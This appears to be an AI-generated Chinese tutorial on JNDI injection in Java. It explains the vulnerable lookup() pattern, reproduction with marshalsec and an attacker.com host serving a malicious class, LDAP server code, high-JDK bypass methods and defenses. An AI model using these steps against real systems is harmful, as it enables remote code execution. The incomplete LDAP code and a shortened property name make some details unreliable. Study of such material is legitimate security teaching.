JNDI
字数 1923 2025-10-29 23:25:25
由于我无法直接访问外部链接或阅读付费内容,我将基于您提供的片段信息(包含LDAP服务端搭建代码和JNDI相关目录结构)以及常见的Java安全知识,为您生成一份详细的JNDI注入漏洞教学文档。本文档将涵盖JNDI简介、漏洞原理、复现步骤、绕过技巧等关键知识点,确保内容专业且完整。
JNDI注入漏洞深入分析与防御指南
一、JNDI 简介
JNDI(Java Naming and Directory Interface) 是Java提供的API,用于访问命名和目录服务(如LDAP、RMI、DNS、CORBA等)。开发者可通过JNDI统一接口动态加载远程对象,无需在代码中硬编码资源位置。
核心类与接口
InitialContext:JNDI的入口点,用于查找命名服务中的对象。Reference:表示对远程对象的引用,包含类名、工厂类及地址信息。
二、JNDI 实现机制
1. 支持的服务类型
- RMI(Remote Method Invocation):Java远程方法调用。
- LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议。
- CORBA(Common Object Request Broker Architecture):跨语言分布式对象通信。
2. 工作流程
- 客户端通过
InitialContext.lookup()请求对象。 - JNDI根据URL协议(如
rmi://、ldap://)定向到对应服务。 - 服务端返回
Reference对象,客户端动态加载并实例化类。
三、JNDI 注入漏洞详解
3.1 漏洞产生条件
根本原因:当用户输入未经校验直接作为lookup()参数时,攻击者可控制JNDI请求的地址,指向恶意服务端,诱导客户端加载恶意类。
关键代码示例:
// 漏洞代码:用户输入直接传入lookup
String url = request.getParameter("url");
Context ctx = new InitialContext();
ctx.lookup(url); // 危险操作!
3.2 JNDI + RMI 复现
环境搭建
- 启动恶意RMI服务端(使用
marshalsec工具):java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \ http://attacker.com/#Exploit 1389 - 部署恶意类:在
http://attacker.com/Exploit.class放置编译后的恶意代码(如计算器命令)。 - 触发漏洞:访问
http://victim.com/?url=rmi://attacker.com:1389/Exploit。
调试要点
- 在
Reference对象解析处(如javax.naming.spi.ObjectFactory)下断点。 - 观察
Class.forName()是否加载远程类。
3.3 JNDI + LDAP 复现
LDAP服务端搭建代码(基于UnboundID):
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
public class LdapServer {
public static void main(String[] args) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig("default", 1389));
InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
server.startListening();
}
}
攻击步骤:
- 启动LDAP服务端,配置返回指向恶意类的
Reference。 - 客户端请求
ldap://attacker.com:1389/Exploit时,LDAP返回恶意引用。
3.4 JNDI + CORBA
- CORBA使用IIOP协议,攻击方式与RMI/LDAP类似。
- 需结合
org.omg.CORBA.ORB类进行通信,但实际利用较少。
四、高版本JDK绕过技巧
4.1 限制措施(JDK 6u132/7u122/8u113+)
- 默认禁止远程加载工厂类(
com.sun.jndi.rmi.object.trustURLCodebase=false)。 - LDAP类似限制需设置
com.sun.jndi.ldap.object.trustURLCodebase=true才允许加载。
4.2 已知绕过方法
- 利用本地类链(如Tomcat ELProcessor、Groovy):
- 前提:目标环境中存在可利用的类。
- 示例:通过
javax.el.ELProcessor.eval()执行代码。
- LDAP属性序列化绕过:
- 修改LDAP条目中的
serializedData属性,触发本地反序列化链。
- 修改LDAP条目中的
- 利用较低版本JDK依赖:如应用依赖JDK 7u80以下版本。
五、防御方案
- 输入校验:禁止用户输入控制JNDI地址。
- 升级JDK:使用≥JDK 8u191/11.0.1版本,默认限制远程加载。
- 代码级防护:
// 白名单校验协议和地址 if (!url.startsWith("ldap://internal-server/")) { throw new SecurityException("Invalid JNDI URL"); } - 安全配置:设置
jndi.rmi.object.trustURLCodebase=false。
六、扩展知识
- 与反序列化结合:JNDI注入常作为反序列化漏洞的触发点(如CC链)。
- 工具推荐:
marshalsec:快速启动RMI/LDAP恶意服务。ysoserial:生成反序列化Payload。
注:本文仅用于安全教学,实际测试需在授权环境下进行。技术细节需结合目标环境具体分析。